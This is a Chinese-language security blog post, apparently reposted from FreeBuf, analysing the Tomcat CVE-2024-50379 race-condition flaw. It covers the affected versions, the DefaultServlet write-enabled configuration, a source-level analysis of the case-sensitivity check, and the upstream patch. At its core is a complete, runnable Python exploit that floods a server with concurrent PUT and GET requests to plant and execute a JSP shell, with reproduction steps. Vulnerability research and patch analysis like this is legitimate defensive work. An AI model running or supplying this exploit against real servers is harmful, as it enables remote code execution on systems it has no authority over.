Tomcat CVE-2024-50379 条件竞争导致命令执行

admin 2025年6月7日13:20:26评论3 views字数 4976阅读16分35秒阅读模式

漏洞描述

如果默认 Servlet 启用了写权限(即readonly初始化参数被设置为非默认值false),在不区分大小写的文件系统中,同一文件的并发读取和上传操作可能会绕过 Tomcat 的大小写敏感性检查,导致上传的文件被视为 JSP 文件,从而引发远程代码执行漏洞。

漏洞条件

  • Windows操作系统:对文件扩展名大小写不敏感

  • 版本:

11.0.0-M1 <= Apache Tomcat < 11.0.210.1.0-M1 <= Apache Tomcat < 10.1.349.0.0.M1 <= Apache Tomcat < 9.0.98
  • DefaultServlet需要有以下配置:开启写权限

<servlet>        <servlet-name>default</servlet-name>        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>        <init-param>            <param-name>debug</param-name>            <param-value>0</param-value>        </init-param>        <init-param>            <param-name>listings</param-name>            <param-value>false</param-value>        </init-param>        <!-- 开启写权限 -->        <init-param>            <param-name>readonly</param-name>            <param-value>false</param-value>        </init-param>        <load-on-startup>1</load-on-startup>    </servlet>

漏洞验证

  • 环境

tomcat: 9.0.96jre: 1.8system: Windows 11
  • exploit

import requestsimport threadingimport sysSHELL_CONTENT = '''<% Runtime.getRuntime().exec("calc.exe");%>'''# 使用 Event 控制线程终止stop_event = threading.Event()def upload_shell(url):    session = requests.Session()  # 每个线程使用独立的 Session    print("[+] Uploading JSP shell...")    while not stop_event.is_set():        try:            response = session.put(url, data=SHELL_CONTENT, timeout=3)            # if response.status_code not in (201, 204):            #     print(f"[-] Upload failed with status code: {response.status_code}")        except Exception as e:            if not stop_event.is_set():                print(f"[-] Upload error: {str(e)}")def accessShell(url):    session = requests.Session()  # 每个线程使用独立的 Session  (session线程不安全)    while not stop_event.is_set():        try:            response = session.get(url, timeout=3)            if response.status_code == 200:                print("[+] Access Success")                stop_event.set()  # 触发所有线程停止                return        except Exception as e:            if not stop_event.is_set():                print(f"[-] Access error: {str(e)}")if __name__ == "__main__":    if len(sys.argv) < 3:        print("Usage: python Poc.py <base_url> <shell_name>")        sys.exit(1)    base_url = sys.argv[1]    shell_name = sys.argv[2]    upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}"    access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}"    print(f"upload_url: {upload_url}")    print(f"access_url: {access_url}")    # 创建上传线程池    upload_threads = []    for _ in range(20):        t = threading.Thread(target=upload_shell, args=(upload_url,))        t.daemon = True  # 设置为守护线程        upload_threads.append(t)        t.start()    # 创建访问线程池    access_threads = []    for _ in range(5000):        t = threading.Thread(target=accessShell, args=(access_url,))        t.daemon = True  # 设置为守护线程        access_threads.append(t)        t.start()    # 主线程循环检查停止事件    try:        while not stop_event.is_set():            pass    except KeyboardInterrupt:        stop_event.set()        print("n[!] Stopping all threads due to keyboard interrupt.")    # 等待所有线程完成    for thread in upload_threads + access_threads:        thread.join()    print("n[!] All threads stopped.")
  1. 复现过程

        脚本执行期间可以观察到,在D:Program Files (x86)apache-tomcat-9.0.96apache-tomcat-9.0.96webappsROOT中,shell.JSP的大小会在1KB和0KB反复变化
    1. 重新开启tomcat:Tomcat CVE-2024-50379 条件竞争导致命令执行注意这时会弹出一个另一个弹窗Tomcat CVE-2024-50379 条件竞争导致命令执行不要关闭这个弹窗,不然http://localhost:8080/无法访问

    2. 执行脚本:python CVE-2024-50379.py http://localhost:8080 shell.jspTomcat CVE-2024-50379 条件竞争导致命令执行执行成功!

漏洞分析

Tomcat CVE-2024-50379 条件竞争导致命令执行

org.apache.catalina.webresources.DirResourceSet#getResource

@Override    public WebResource getResource(String path) {        checkPath(path);        String webAppMount = getWebAppMount();        WebResourceRoot root = getRoot();        if (path.startsWith(webAppMount)) {        //获取资源            File f = file(path.substring(webAppMount.length()), false);            if (f == null) {                return new EmptyResource(root, path);            }            if (!f.exists()) {                return new EmptyResource(root, path, f);            }            if (f.isDirectory() && path.charAt(path.length() - 1) != '/') {                path = path + '/';            }            return new FileResource(root, path, f, isReadOnly(), getManifest());        } else {            return new EmptyResource(root, path);        }    }

org.apache.catalina.webresources.AbstractFileResourceSet#file

protected final File file(String name, boolean mustExist) {        if (name.equals("/")) {            name = "";        }        File file = new File(fileBase, name);        //一些处理        ...         // Check that this file is located under the WebResourceSet's base        String canPath = null;        try {            //漏洞点            canPath = file.getCanonicalPath();        } catch (IOException e) {            // Ignore        }        if (canPath == null || !canPath.startsWith(canonicalBase)) {            return null;        }        String absPath = normalize(file.getAbsolutePath());        ...        //必须绕过才能利用成功        if (!canPath.equals(absPath)) {            if (!canPath.equalsIgnoreCase(absPath)) {                logIgnoredSymlink(getRoot().getContext().getName(), absPath, canPath);            }            return null;        } //必须进入这里才能利用成功        return file;    }

file所指向的文件不存在,或该文件正在被写(还没有落地)时,file.getCanonicalPath()返回的路径与构造file对象时传入的路径(absPath)一致,文件落地后file.getCanonicalPath()获取到的就是文件实际规范路径(xxx/shell.JSP),这也是需要条件竞争的原因

漏洞修复

相关补丁:

  • Fix inconsistent resource metadata with current GET and PUT/DELETE · apache/tomcat@43b507e

  • https://github.com/apache/tomcat/commit/631500b0c9b2a2a2abb707e3de2e10a5936e5d41

其大致思路是用锁机制,对PUT shell.JSPGET shell.jsp进行同步,使得当进行PUT shell.JSP时,GET shell.jsp会被阻塞在临界区外,其中临界资源是 xxx/shell.jsp(等同于xxx/shell.JSP) 所指向的文件

转自:https://www.freebuf.com/vuls/423039.html

原文始发于微信公众号(船山信安):Tomcat CVE-2024-50379 条件竞争导致命令执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日13:20:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat CVE-2024-50379 条件竞争导致命令执行http://cn-sec.com/archives/3792351.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息